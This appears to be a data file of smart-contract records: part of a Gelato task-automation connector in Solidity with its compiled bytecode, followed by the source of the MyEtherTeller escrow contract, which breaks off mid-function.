_ethToDeposit amount of eth to deposit on Gelato, only for self-providers */ function multiProvide( address _executor, TaskSpec[] calldata _taskSpecs, address[] calldata _modules, uint256 _ethToDeposit, uint256 _getId, uint256 _setId ) external payable { uint256 ethToDeposit = getUint(_getId, _ethToDeposit); ethToDeposit = ethToDeposit == uint(-1) ? address(this).balance : ethToDeposit; IGelatoInterface(getGelatoCoreAddr()).multiProvide.value(ethToDeposit)( _executor, _taskSpecs, _modules ); setUint(_setId, ethToDeposit); emit LogMultiProvide(_executor, _taskSpecs, _modules, ethToDeposit, _getId, _setId); } /** * @dev Submits a single, one-time task to Gelato * @param _provider Consists of proxy module address (DSA) and provider address () * who will pay for the transaction execution * @param _task Task specifying the condition and the action connectors * @param _expiryDate Default 0, othweise timestamp after which the task expires */ function submitTask( Provider calldata _provider, Task calldata _task, uint256 _expiryDate ) external payable { IGelatoInterface(getGelatoCoreAddr()).submitTask(_provider, _task, _expiryDate); emit LogSubmitTask(_provider, _task, _expiryDate, 0, 0); } /** * @dev Submits single or mulitple Task Sequences to Gelato * @param _provider Consists of proxy module address (DSA) and provider address () * who will pay for the transaction execution * @param _tasks A sequence of Tasks, can be a single or multiples * @param _expiryDate Default 0, othweise timestamp after which the task expires * @param _cycles How often the Task List should be executed, e.g. 5 times */ function submitTaskCycle( Provider calldata _provider, Task[] calldata _tasks, uint256 _expiryDate, uint256 _cycles ) external payable { IGelatoInterface(getGelatoCoreAddr()).submitTaskCycle( _provider, _tasks, _expiryDate, _cycles ); emit LogSubmitTaskCycle(_provider, _tasks, _expiryDate, 0, 0); } /** * @dev Submits single or mulitple Task Chains to Gelato * @param _provider Consists of proxy module address (DSA) and provider address () * who will pay for the transaction execution * @param _tasks A sequence of Tasks, can be a single or multiples * @param _expiryDate Default 0, othweise timestamp after which the task expires * @param _sumOfRequestedTaskSubmits The TOTAL number of Task auto-submits * that should have occured once the cycle is complete */ function submitTaskChain( Provider calldata _provider, Task[] calldata _tasks, uint256 _expiryDate, uint256 _sumOfRequestedTaskSubmits ) external payable { IGelatoInterface(getGelatoCoreAddr()).submitTaskChain( _provider, _tasks, _expiryDate, _sumOfRequestedTaskSubmits ); emit LogSubmitTaskChain(_provider, _tasks, _expiryDate, 0, 0); } // ===== Gelato EXIT APIs ====== /** * @dev Withdraws funds from Gelato, de-whitelists TaskSpecs and Provider Modules * in one tx * @param _withdrawAmount Amount of ETH to withdraw from Gelato * @param _taskSpecs List of Task Specs to de-whitelist, default empty [] * @param _modules List of Provider Modules to de-whitelist, default empty [] */ function multiUnprovide( uint256 _withdrawAmount, TaskSpec[] calldata _taskSpecs, address[] calldata _modules, uint256 _getId, uint256 _setId ) external payable { uint256 withdrawAmount = getUint(_getId, _withdrawAmount); uint256 balanceBefore = address(this).balance; IGelatoInterface(getGelatoCoreAddr()).multiUnprovide( withdrawAmount, _taskSpecs, _modules ); uint256 actualWithdrawAmount = sub(address(this).balance, balanceBefore); setUint(_setId, actualWithdrawAmount); emit LogMultiUnprovide(_taskSpecs, _modules, actualWithdrawAmount, _getId, _setId); } /** * @dev Cancels outstanding Tasks * @param _taskReceipts List of Task Receipts to cancel */ function multiCancelTasks(TaskReceipt[] calldata _taskReceipts) external payable { IGelatoInterface(getGelatoCoreAddr()).multiCancelTasks(_taskReceipts); emit LogMultiCancelTasks(_taskReceipts, 0, 0); } } contract ConnectGelato is GelatoResolver { string public name = "Gelato-v1.0"; }
0x60806040526004361061007b5760003560e01c80636cd3d8981161004e5780636cd3d898146100ff578063b348e2681461011b578063eb15f78114610137578063ff92b1a8146101635761007b565b8063025264901461008057806306fdde031461009c5780632738a788146100c75780633e75a9a8146100e3575b600080fd5b61009a60048036036100959190810190610cba565b61017f565b005b3480156100a857600080fd5b506100b1610269565b6040516100be9190612124565b60405180910390f35b6100e160048036036100dc9190810190610dca565b610307565b005b6100fd60048036036100f89190810190610c75565b610423565b005b61011960048036036101149190810190610bb2565b6104ed565b005b61013560048036036101309190810190610cba565b61063e565b005b34801561014357600080fd5b5061014c610728565b60405161015a929190612256565b60405180910390f35b61017d60048036036101789190810190610d3a565b610741565b005b610187610823565b73ffffffffffffffffffffffffffffffffffffffff16630252649086868686866040518663ffffffff1660e01b81526004016101c7959493929190612166565b600060405180830381600087803b1580156101e157600080fd5b505af11580156101f5573d6000803e3d6000fd5b5050505081848460405161020a929190612043565b604051809103902086604051610220919061205c565b60405180910390207f6e618ca93d8007a3bb048d87cc0e7bf12bddc6ca3e336c153890bc0b6f66e9f660008060405161025a9291906120fb565b60405180910390a45050505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102ff5780601f106102d4576101008083540402835291602001916102ff565b820191906000526020600020905b8154815290600101906020018083116102e257829003601f168201915b505050505081565b6000610313838961083f565b90506000479050610322610823565b73ffffffffffffffffffffffffffffffffffffffff1663b300f752838a8a8a8a6040518663ffffffff1660e01b815260040161036295949392919061220d565b600060405180830381600087803b15801561037c57600080fd5b505af1158015610390573d6000803e3d6000fd5b5050505060006103a047836108e9565b90506103ac8482610939565b86866040516103bc929190611ff8565b604051809103902089896040516103d492919061202a565b60405180910390207fc44585ae385fe053d798d56dc20dc0f0beade803098d105d289637d878fa9c7b83888860405161040f9392919061227f565b60405180910390a350505050505050505050565b61042b610823565b73ffffffffffffffffffffffffffffffffffffffff16633e75a9a883836040518363ffffffff1660e01b81526004016104659291906120d7565b600060405180830381600087803b15801561047f57600080fd5b505af1158015610493573d6000803e3d6000fd5b5050505081816040516104a7929190612011565b60405180910390207fb42519a7cf5f104a27b62b10dc1e67721be4b68791899606dd15e1b017bd96316000806040516104e19291906120fb565b60405180910390a25050565b60006104f9838561083f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610528578061052a565b475b9050610534610823565b73ffffffffffffffffffffffffffffffffffffffff16639aad3798828b8b8b8b8b6040518763ffffffff1660e01b815260040161057595949392919061208e565b6000604051808303818588803b15801561058e57600080fd5b505af11580156105a2573d6000803e3d6000fd5b50505050506105b18282610939565b85856040516105c1929190611ff8565b604051809103902088886040516105d992919061202a565b60405180910390208a73ffffffffffffffffffffffffffffffffffffffff167f1e9ff70996f352b5b70751209e03ae367633703bfc74ccc966b87e70ab57136184878760405161062b9392919061227f565b60405180910390a4505050505050505050565b610646610823565b73ffffffffffffffffffffffffffffffffffffffff1663b348e26886868686866040518663ffffffff1660e01b8152600401610686959493929190612166565b600060405180830381600087803b1580156106a057600080fd5b505af11580156106b4573d6000803e3d6000fd5b505050508184846040516106c9929190612043565b6040518091039020866040516106df919061205c565b60405180910390207f9e2ce841f586026d01f4cdb7bcd28c46154ba65e6766033fee248e3690c35a0d6000806040516107199291906120fb565b60405180910390a45050505050565b6000806001602a81915080905080925081935050509091565b610749610823565b73ffffffffffffffffffffffffffffffffffffffff1663ff92b1a88484846040518463ffffffff1660e01b8152600401610785939291906121b4565b600060405180830381600087803b15801561079f57600080fd5b505af11580156107b3573d6000803e3d6000fd5b5050505080826040516107c69190612077565b6040518091039020846040516107dc919061205c565b60405180910390207f054a2512b2e1ba381f3ca2abbf5515644385116f44cf8d635382f6df3f4105576000806040516108169291906120fb565b60405180910390a4505050565b6000731d681d76ce96e4d70a88a00ebbcfc1e47808d0b8905090565b60008083146108df576108506109ba565b73ffffffffffffffffffffffffffffffffffffffff1663a9c70eaa846040518263ffffffff1660e01b815260040161088891906121f2565b602060405180830381600087803b1580156108a257600080fd5b505af11580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506108da9190810190610da1565b6108e1565b815b905092915050565b6000828284039150811115610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90612146565b60405180910390fd5b92915050565b600082146109b6576109496109ba565b73ffffffffffffffffffffffffffffffffffffffff166361e3c94483836040518363ffffffff1660e01b8152600401610983929190612256565b600060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050505b5050565b6000738a5419cfc711b2343c17a6abf4b2bafabb06957f905090565b6000813590506109e58161287d565b92915050565b60008083601f8401126109fd57600080fd5b8235905067ffffffffffffffff811115610a1657600080fd5b602083019150836020820283011115610a2e57600080fd5b9250929050565b60008083601f840112610a4757600080fd5b8235905067ffffffffffffffff811115610a6057600080fd5b602083019150836020820283011115610a7857600080fd5b9250929050565b60008083601f840112610a9157600080fd5b8235905067ffffffffffffffff811115610aaa57600080fd5b602083019150836020820283011115610ac257600080fd5b9250929050565b60008083601f840112610adb57600080fd5b8235905067ffffffffffffffff811115610af457600080fd5b602083019150836020820283011115610b0c57600080fd5b9250929050565b600081359050610b2281612894565b92915050565b600081359050610b37816128ab565b92915050565b600081359050610b4c816128bb565b92915050565b600060408284031215610b6457600080fd5b81905092915050565b600060808284031215610b7f57600080fd5b81905092915050565b600081359050610b97816128cb565b92915050565b600081519050610bac816128cb565b92915050565b60008060008060008060008060c0898b031215610bce57600080fd5b6000610bdc8b828c016109d6565b985050602089013567ffffffffffffffff811115610bf957600080fd5b610c058b828c01610a7f565b9750975050604089013567ffffffffffffffff811115610c2457600080fd5b610c308b828c016109eb565b95509550506060610c438b828c01610b88565b9350506080610c548b828c01610b88565b92505060a0610c658b828c01610b88565b9150509295985092959890939650565b60008060208385031215610c8857600080fd5b600083013567ffffffffffffffff811115610ca257600080fd5b610cae85828601610a35565b92509250509250929050565b600080600080600060a08688031215610cd257600080fd5b6000610ce088828901610b52565b955050604086013567ffffffffffffffff811115610cfd57600080fd5b610d0988828901610ac9565b94509450506060610d1c88828901610b88565b9250506080610d2d88828901610b88565b9150509295509295909350565b600080600060808486031215610d4f57600080fd5b6000610d5d86828701610b52565b935050604084013567ffffffffffffffff811115610d7a57600080fd5b610d8686828701610b6d565b9250506060610d9786828701610b88565b9150509250925092565b600060208284031215610db357600080fd5b6000610dc184828501610b9d565b91505092915050565b600080600080600080600060a0888a031215610de557600080fd5b6000610df38a828b01610b88565b975050602088013567ffffffffffffffff811115610e1057600080fd5b610e1c8a828b01610a7f565b9650965050604088013567ffffffffffffffff811115610e3b57600080fd5b610e478a828b016109eb565b94509450506060610e5a8a828b01610b88565b9250506080610e6b8a828b01610b88565b91505092959891949750929550565b6000610e868383611058565b60208301905092915050565b6000610e9e8383611076565b60208301905092915050565b6000610eb784848461119c565b90509392505050565b6000610ecd84848461126d565b90509392505050565b6000610ee384848461133e565b90509392505050565b6000610ef9848484611682565b90509392505050565b6000610f0e83836116ee565b60208301905092915050565b6000610f2784848461172a565b90509392505050565b6000610f3c8383611766565b60208301905092915050565b6000610f548383611784565b60208301905092915050565b6000610f6c838361181b565b905092915050565b6000610f8083836118d6565b905092915050565b6000610f948383611983565b905092915050565b6000610fa883836119d2565b905092915050565b6000610fbc8383611ad2565b60408301905092915050565b6000610fd48383611b0f565b905092915050565b6000610fe88383611c03565b905092915050565b6000610ffc8383611ce5565b905092915050565b60006110108383611d58565b905092915050565b60006110248383611ec2565b905092915050565b60006110388383611f50565b905092915050565b600061104c8383611fe9565b60208301905092915050565b6110618161276c565b82525050565b6110708161276c565b82525050565b61107f8161276c565b82525050565b6000611091838561238a565b935061109c826122c0565b8060005b858110156110d5576110b28284612486565b6110bc8882610e7a565b97506110c78361231e565b9250506001810190506110a0565b5085925050509392505050565b60006110ee83856123a6565b93506110f9826122c0565b8060005b858110156111325761110f8284612486565b6111198882610e92565b97506111248361231e565b9250506001810190506110fd565b5085925050509392505050565b600061114b8385612379565b9350611156826122b6565b8060005b8581101561118f5761116c8284612486565b6111768882610e7a565b975061118183612311565b92505060018101905061115a565b5085925050509392505050565b60006111a8838561239b565b93506111b3826122b6565b8060005b858110156111ec576111c98284612486565b6111d38882610e92565b97506111de83612311565b9250506001810190506111b7565b5085925050509392505050565b600061120583856123b1565b935083602084028501611217846122ca565b8060005b8781101561125b5784840389526112328284612695565b61123c8582610f60565b94506112478361232b565b925060208a0199505060018101905061121b565b50829750879450505050509392505050565b600061127983856123c2565b9350611284826122ca565b8060005b858110156112bd5761129a8284612695565b6112a48882610f74565b97506112af8361232b565b925050600181019050611288565b5085925050509392505050565b60006112d683856123cd565b9350836020840285016112e8846122d4565b8060005b8781101561132c57848403895261130382846126b9565b61130d8582610f88565b945061131883612338565b925060208a019950506001810190506112ec565b50829750879450505050509392505050565b600061134a83856123de565b9350611355826122d4565b8060005b8581101561138e5761136b82846126b9565b6113758882610f9c565b975061138083612338565b925050600181019050611359565b5085925050509392505050565b60006113a783856123e9565b9350836020840285016113b9846122de565b8060005b878110156113fd5784840389526113d482846126e8565b6113de8582610fc8565b94506113e983612345565b925060208a019950506001810190506113bd565b50829750879450505050509392505050565b600061141b83856123fa565b9350611426826122de565b8060005b8581101561145f5761143c82846126e8565b6114468882610fdc565b975061145183612345565b92505060018101905061142a565b5085925050509392505050565b60006114788385612405565b93508360208402850161148a846122e8565b8060005b878110156114ce5784840389526114a5828461270d565b6114af8582610ff0565b94506114ba83612352565b925060208a0199505060018101905061148e565b50829750879450505050509392505050565b60006114ec8385612416565b93506114f7826122e8565b8060005b858110156115305761150d828461270d565b6115178882611004565b975061152283612352565b9250506001810190506114fb565b5085925050509392505050565b60006115498385612432565b93508360208402850161155b846122fc565b8060005b8781101561159f5784840389526115768284612731565b6115808582611018565b945061158b8361236c565b925060208a0199505060018101905061155f565b50829750879450505050509392505050565b60006115bd838561244e565b93506115c8826122fc565b8060005b85811015611601576115de8284612731565b6115e8888261102c565b97506115f38361236c565b9250506001810190506115cc565b5085925050509392505050565b600061161a8385612421565b93508360208402850161162c846122f2565b8060005b878110156116705784840389526116478284612731565b6116518582611018565b945061165c8361235f565b925060208a01995050600181019050611630565b50829750879450505050509392505050565b600061168e8385612443565b9350611699826122f2565b8060005b858110156116d2576116af8284612731565b6116b9888261102c565b97506116c48361235f565b92505060018101905061169d565b5085925050509392505050565b6116e88161277e565b82525050565b6116f78161277e565b82525050565b60006117098385612459565b9350611716838584612810565b61171f83612852565b840190509392505050565b6000611736838561246a565b9350611743838584612810565b61174c83612852565b840190509392505050565b611760816127da565b82525050565b61176f816127da565b82525050565b61177e816127ec565b82525050565b61178d816127ec565b82525050565b61179c816127fe565b82525050565b60006117ad82612306565b6117b78185612475565b93506117c781856020860161281f565b6117d081612852565b840191505092915050565b60006117e8600c83612475565b91507f7375622d6f766572666c6f7700000000000000000000000000000000000000006000830152602082019050919050565b600060c0830161182e6000840184612486565b61183b6000860182611058565b506118496020840184612610565b858303602087015261185c8382846116fd565b9250505061186d604084018461267e565b61187a6040860182611775565b506118886060840184612667565b6118956060860182611757565b506118a36080840184612755565b6118b06080860182611fcb565b506118be60a08401846125f9565b6118cb60a08601826116df565b508091505092915050565b60008083016118e86000840184612486565b6118f28582610e92565b9450506119026020840184612610565b61190d868284610f1a565b9550505061191e604084018461267e565b6119288582610f48565b9450506119386060840184612667565b6119428582610f30565b9450506119526080840184612755565b61195c8582611040565b94505061196c60a08401846125f9565b6119768582610f02565b9450508391505092915050565b6000604083016119966000840184612486565b6119a36000860182611058565b506119b16020840184612610565b85830360208701526119c48382846116fd565b925050508091505092915050565b60008083016119e46000840184612486565b6119ee8582610e92565b9450506119fe6020840184612610565b611a09868284610f1a565b955050508391505092915050565b60408201611a286000830183612486565b611a356000850182611058565b50611a436020830183612486565b611a506020850182611058565b50505050565b60008201611a676000830183612486565b611a718482610e92565b935050611a816020830183612486565b611a8b8482610e92565b935050505050565b60408201611aa46000830183612486565b611ab16000850182611058565b50611abf6020830183612486565b611acc6020850182611058565b50505050565b60008201611ae36000830183612486565b611aed8482610e92565b935050611afd6020830183612486565b611b078482610e92565b935050505050565b60006101208301611b236000840184612755565b611b306000860182611fcb565b50611b3e6020840184612486565b611b4b6020860182611058565b50611b5960408401846126dd565b611b666040860182611a93565b50611b746080840184612755565b611b816080860182611fcb565b50611b8f60a08401846125a2565b85830360a0870152611ba283828461160e565b92505050611bb360c0840184612755565b611bc060c0860182611fcb565b50611bce60e0840184612755565b611bdb60e0860182611fcb565b50611bea610100840184612755565b611bf8610100860182611fcb565b508091505092915050565b6000808301611c156000840184612755565b611c1f8582611040565b945050611c2f6020840184612486565b611c398582610e92565b945050611c4960408401846126dd565b611c538582610fb0565b945050611c636080840184612755565b611c6d8582611040565b945050611c7d60a08401846125a2565b611c88868284610eec565b95505050611c9960c0840184612755565b611ca38582611040565b945050611cb360e0840184612755565b611cbd8582611040565b945050611cce610100840184612755565b611cd88582611040565b9450508391505092915050565b600060608301611cf8600084018461249d565b8583036000870152611d0b83828461113f565b92505050611d1c60208401846124f4565b8583036020870152611d2f8382846111f9565b92505050611d406040840184612755565b611d4d6040860182611fcb565b508091505092915050565b6000808301611d6a600084018461249d565b611d75868284610eaa565b95505050611d8660208401846124f4565b611d91868284610ec0565b95505050611da26040840184612755565b611dac8582611040565b9450508391505092915050565b600060808301611dcc600084018461254b565b8583036000870152611ddf8382846112ca565b92505050611df060208401846124f4565b8583036020870152611e038382846111f9565b92505050611e146040840184612755565b611e216040860182611fcb565b50611e2f6060840184612755565b611e3c6060860182611fcb565b508091505092915050565b6000808301611e59600084018461254b565b611e64868284610ed6565b95505050611e7560208401846124f4565b611e80868284610ec0565b95505050611e916040840184612755565b611e9b8582611040565b945050611eab6060840184612755565b611eb58582611040565b9450508391505092915050565b600060808301611ed5600084018461254b565b8583036000870152611ee88382846112ca565b92505050611ef960208401846124f4565b8583036020870152611f0c8382846111f9565b92505050611f1d6040840184612755565b611f2a6040860182611fcb565b50611f386060840184612755565b611f456060860182611fcb565b508091505092915050565b6000808301611f62600084018461254b565b611f6d868284610ed6565b95505050611f7e60208401846124f4565b611f89868284610ec0565b95505050611f9a6040840184612755565b611fa48582611040565b945050611fb46060840184612755565b611fbe8582611040565b9450508391505092915050565b611fd4816127d0565b82525050565b611fe3816127d0565b82525050565b611ff2816127d0565b82525050565b60006120058284866110e2565b91508190509392505050565b600061201e82848661140f565b91508190509392505050565b60006120378284866114e0565b91508190509392505050565b60006120508284866115b1565b91508190509392505050565b60006120688284611a56565b60408201915081905092915050565b60006120838284611e47565b915081905092915050565b60006060820190506120a36000830188611067565b81810360208301526120b681868861146c565b905081810360408301526120cb818486611085565b90509695505050505050565b600060208201905081810360008301526120f281848661139b565b90509392505050565b60006040820190506121106000830185611793565b61211d6020830184611793565b9392505050565b6000602082019050818103600083015261213e81846117a2565b905092915050565b6000602082019050818103600083015261215f816117db565b9050919050565b600060a08201905061217b6000830188611a17565b818103604083015261218e81868861153d565b905061219d6060830185611fda565b6121aa6080830184611fda565b9695505050505050565b60006080820190506121c96000830186611a17565b81810360408301526121db8185611db9565b90506121ea6060830184611fda565b949350505050565b60006020820190506122076000830184611fda565b92915050565b60006060820190506122226000830188611fda565b818103602083015261223581868861146c565b9050818103604083015261224a818486611085565b90509695505050505050565b600060408201905061226b6000830185611fda565b6122786020830184611fda565b9392505050565b60006060820190506122946000830186611fda565b6122a16020830185611fda565b6122ae6040830184611fda565b949350505050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061249560208401846109d6565b905092915050565b600080833560016020038436030381126124b657600080fd5b83810192508235915060208301925067ffffffffffffffff8211156124da57600080fd5b6020820236038413156124ec57600080fd5b509250929050565b6000808335600160200384360303811261250d57600080fd5b83810192508235915060208301925067ffffffffffffffff82111561253157600080fd5b60208202360384131561254357600080fd5b509250929050565b6000808335600160200384360303811261256457600080fd5b83810192508235915060208301925067ffffffffffffffff82111561258857600080fd5b60208202360384131561259a57600080fd5b509250929050565b600080833560016020038436030381126125bb57600080fd5b83810192508235915060208301925067ffffffffffffffff8211156125df57600080fd5b6020820236038413156125f157600080fd5b509250929050565b60006126086020840184610b13565b905092915050565b6000808335600160200384360303811261262957600080fd5b83810192508235915060208301925067ffffffffffffffff82111561264d57600080fd5b60018202360384131561265f57600080fd5b509250929050565b60006126766020840184610b28565b905092915050565b600061268d6020840184610b3d565b905092915050565b60008235600160c0038336030381126126ad57600080fd5b82810191505092915050565b6000823560016040038336030381126126d157600080fd5b82810191505092915050565b600082905092915050565b6000823560016101200383360303811261270157600080fd5b82810191505092915050565b60008235600160600383360303811261272557600080fd5b82810191505092915050565b60008235600160800383360303811261274957600080fd5b82810191505092915050565b60006127646020840184610b88565b905092915050565b6000612777826127b0565b9050919050565b60008115159050919050565b600081905061279882612863565b919050565b60008190506127ab82612870565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006127e58261278a565b9050919050565b60006127f78261279d565b9050919050565b6000612809826127d0565b9050919050565b82818337600083830152505050565b60005b8381101561283d578082015181840152602081019050612822565b8381111561284c576000848401525b50505050565b6000601f19601f8301169050919050565b6004811061286d57fe5b50565b6002811061287a57fe5b50565b6128868161276c565b811461289157600080fd5b50565b61289d8161277e565b81146128a857600080fd5b50565b600481106128b857600080fd5b50565b600281106128c857600080fd5b50565b6128d4816127d0565b81146128df57600080fd5b5056fea2646970667358221220915739bb07dc65f8ef4d296056838ff930b87014b863a4bfd2fa001c9c3b737764736f6c63430006000033
{"success": true, "error": null, "results": {}}
10,098
0x40a835f8573c4b75e962e435591ea2200b74a714
pragma solidity ^0.4.16; contract MyEtherTeller { //Author: Nidscom.io //Date: 23 March 2018 //Version: MyEtherTeller v1.0 MainNet address public owner; //Each buyer address consist of an array of EscrowStruct //Used to store buyer&#39;s transactions and for buyers to interact with his transactions. (Such as releasing funds to seller) struct EscrowStruct { address buyer; //Person who is making payment address seller; //Person who will receive funds address escrow_agent; //Escrow agent to resolve disputes, if any uint escrow_fee; //Fee charged by escrow uint amount; //Amount of Ether (in Wei) seller will receive after fees bool escrow_intervention; //Buyer or Seller can call for Escrow intervention bool release_approval; //Buyer or Escrow(if escrow_intervention is true) can approve release of funds to seller bool refund_approval; //Seller or Escrow(if escrow_intervention is true) can approve refund of funds to buyer bytes32 notes; //Notes for Seller } struct TransactionStruct { //Links to transaction from buyer address buyer; //Person who is making payment uint buyer_nounce; //Nounce of buyer transaction } //Database of Buyers. Each buyer then contain an array of his transactions mapping(address => EscrowStruct[]) public buyerDatabase; //Database of Seller and Escrow Agent mapping(address => TransactionStruct[]) public sellerDatabase; mapping(address => TransactionStruct[]) public escrowDatabase; //Every address have a Funds bank. All refunds, sales and escrow comissions are sent to this bank. Address owner can withdraw them at any time. mapping(address => uint) public Funds; mapping(address => uint) public escrowFee; //Run once the moment contract is created. Set contract creator function MyEtherTeller() { owner = msg.sender; } function() payable { //LogFundsReceived(msg.sender, msg.value); } function setEscrowFee(uint fee) { //Allowed fee range: 0.1% to 10%, in increments of 0.1% require (fee >= 1 && fee <= 100); escrowFee[msg.sender] = fee; } function getEscrowFee(address escrowAddress) constant returns (uint) { return (escrowFee[escrowAddress]); } function newEscrow(address sellerAddress, address escrowAddress, bytes32 notes) payable returns (bool) { require(msg.value > 0 && msg.sender != escrowAddress); //Store escrow details in memory EscrowStruct memory currentEscrow; TransactionStruct memory currentTransaction; currentEscrow.buyer = msg.sender; currentEscrow.seller = sellerAddress; currentEscrow.escrow_agent = escrowAddress; //Calculates and stores Escrow Fee. currentEscrow.escrow_fee = getEscrowFee(escrowAddress)*msg.value/1000; //0.25% dev fee uint dev_fee = msg.value/400; Funds[owner] += dev_fee; //Amount seller receives = Total amount - 0.25% dev fee - Escrow Fee currentEscrow.amount = msg.value - dev_fee - currentEscrow.escrow_fee; //These default to false, no need to set them again /*currentEscrow.escrow_intervention = false; currentEscrow.release_approval = false; currentEscrow.refund_approval = false; */ currentEscrow.notes = notes; //Links this transaction to Seller and Escrow&#39;s list of transactions. currentTransaction.buyer = msg.sender; currentTransaction.buyer_nounce = buyerDatabase[msg.sender].length; sellerDatabase[sellerAddress].push(currentTransaction); escrowDatabase[escrowAddress].push(currentTransaction); buyerDatabase[msg.sender].push(currentEscrow); return true; } //switcher 0 for Buyer, 1 for Seller, 2 for Escrow function getNumTransactions(address inputAddress, uint switcher) constant returns (uint) { if (switcher == 0) return (buyerDatabase[inputAddress].length); else if (switcher == 1) return (sellerDatabase[inputAddress].length); else return (escrowDatabase[inputAddress].length); } //switcher 0 for Buyer, 1 for Seller, 2 for Escrow function getSpecificTransaction(address inputAddress, uint switcher, uint ID) constant returns (address, address, address, uint, bytes32, uint, bytes32) { bytes32 status; EscrowStruct memory currentEscrow; if (switcher == 0) { currentEscrow = buyerDatabase[inputAddress][ID]; status = checkStatus(inputAddress, ID); } else if (switcher == 1) { currentEscrow = buyerDatabase[sellerDatabase[inputAddress][ID].buyer][sellerDatabase[inputAddress][ID].buyer_nounce]; status = checkStatus(currentEscrow.buyer, sellerDatabase[inputAddress][ID].buyer_nounce); } else if (switcher == 2) { currentEscrow = buyerDatabase[escrowDatabase[inputAddress][ID].buyer][escrowDatabase[inputAddress][ID].buyer_nounce]; status = checkStatus(currentEscrow.buyer, escrowDatabase[inputAddress][ID].buyer_nounce); } return (currentEscrow.buyer, currentEscrow.seller, currentEscrow.escrow_agent, currentEscrow.amount, status, currentEscrow.escrow_fee, currentEscrow.notes); } function buyerHistory(address buyerAddress, uint startID, uint numToLoad) constant returns (address[], address[],uint[], bytes32[]){ uint length; if (buyerDatabase[buyerAddress].length < numToLoad) length = buyerDatabase[buyerAddress].length; else length = numToLoad; address[] memory sellers = new address[](length); address[] memory escrow_agents = new address[](length); uint[] memory amounts = new uint[](length); bytes32[] memory statuses = new bytes32[](length); for (uint i = 0; i < length; i++) { sellers[i] = (buyerDatabase[buyerAddress][startID + i].seller); escrow_agents[i] = (buyerDatabase[buyerAddress][startID + i].escrow_agent); amounts[i] = (buyerDatabase[buyerAddress][startID + i].amount); statuses[i] = checkStatus(buyerAddress, startID + i); } return (sellers, escrow_agents, amounts, statuses); } function SellerHistory(address inputAddress, uint startID , uint numToLoad) constant returns (address[], address[], uint[], bytes32[]){ address[] memory buyers = new address[](numToLoad); address[] memory escrows = new address[](numToLoad); uint[] memory amounts = new uint[](numToLoad); bytes32[] memory statuses = new bytes32[](numToLoad); for (uint i = 0; i < numToLoad; i++) { if (i >= sellerDatabase[inputAddress].length) break; buyers[i] = sellerDatabase[inputAddress][startID + i].buyer; escrows[i] = buyerDatabase[buyers[i]][sellerDatabase[inputAddress][startID +i].buyer_nounce].escrow_agent; amounts[i] = buyerDatabase[buyers[i]][sellerDatabase[inputAddress][startID + i].buyer_nounce].amount; statuses[i] = checkStatus(buyers[i], sellerDatabase[inputAddress][startID + i].buyer_nounce); } return (buyers, escrows, amounts, statuses); } function escrowHistory(address inputAddress, uint startID, uint numToLoad) constant returns (address[], address[], uint[], bytes32[]){ address[] memory buyers = new address[](numToLoad); address[] memory sellers = new address[](numToLoad); uint[] memory amounts = new uint[](numToLoad); bytes32[] memory statuses = new bytes32[](numToLoad); for (uint i = 0; i < numToLoad; i++) { if (i >= escrowDatabase[inputAddress].length) break; buyers[i] = escrowDatabase[inputAddress][startID + i].buyer; sellers[i] = buyerDatabase[buyers[i]][escrowDatabase[inputAddress][startID +i].buyer_nounce].seller; amounts[i] = buyerDatabase[buyers[i]][escrowDatabase[inputAddress][startID + i].buyer_nounce].amount; statuses[i] = checkStatus(buyers[i], escrowDatabase[inputAddress][startID + i].buyer_nounce); } return (buyers, sellers, amounts, statuses); } function checkStatus(address buyerAddress, uint nounce) constant returns (bytes32){ bytes32 status = ""; if (buyerDatabase[buyerAddress][nounce].release_approval){ status = "Complete"; } else if (buyerDatabase[buyerAddress][nounce].refund_approval){ status = "Refunded"; } else if (buyerDatabase[buyerAddress][nounce].escrow_intervention){ status = "Pending Escrow Decision"; } else { status = "In Progress"; } return (status); } //When transaction is complete, buyer will release funds to seller //Even if EscrowEscalation is raised, buyer can still approve fund release at any time function buyerFundRelease(uint ID) { require(ID < buyerDatabase[msg.sender].length && buyerDatabase[msg.sender][ID].release_approval == false && buyerDatabase[msg.sender][ID].refund_approval == false); //Set release approval to true. Ensure approval for each transaction can only be called once. buyerDatabase[msg.sender][ID].release_approval = true; address seller = buyerDatabase[msg.sender][ID].seller; address escrow_agent = buyerDatabase[msg.sender][ID].escrow_agent; uint amount = buyerDatabase[msg.sender][ID].amount; uint escrow_fee = buyerDatabase[msg.sender][ID].escrow_fee; //Move funds under seller&#39;s owership Funds[seller] += amount; Funds[escrow_agent] += escrow_fee; } //Seller can refund the buyer at any time function sellerRefund(uint ID) { address buyerAddress = sellerDatabase[msg.sender][ID].buyer; uint buyerID = sellerDatabase[msg.sender][ID].buyer_nounce; require( buyerDatabase[buyerAddress][buyerID].release_approval == false && buyerDatabase[buyerAddress][buyerID].refund_approval == false); address escrow_agent = buyerDatabase[buyerAddress][buyerID].escrow_agent; uint escrow_fee = buyerDatabase[buyerAddress][buyerID].escrow_fee; uint amount = buyerDatabase[buyerAddress][buyerID].amount; //Once approved, buyer can invoke WithdrawFunds to claim his refund buyerDatabase[buyerAddress][buyerID].refund_approval = true; Funds[buyerAddress] += amount; Funds[escrow_agent] += escrow_fee; } //Either buyer or seller can raise escalation with escrow agent. //Once escalation is activated, escrow agent can release funds to seller OR make a full refund to buyer //Switcher = 0 for Buyer, Switcher = 1 for Seller function EscrowEscalation(uint switcher, uint ID) { //To activate EscrowEscalation //1) 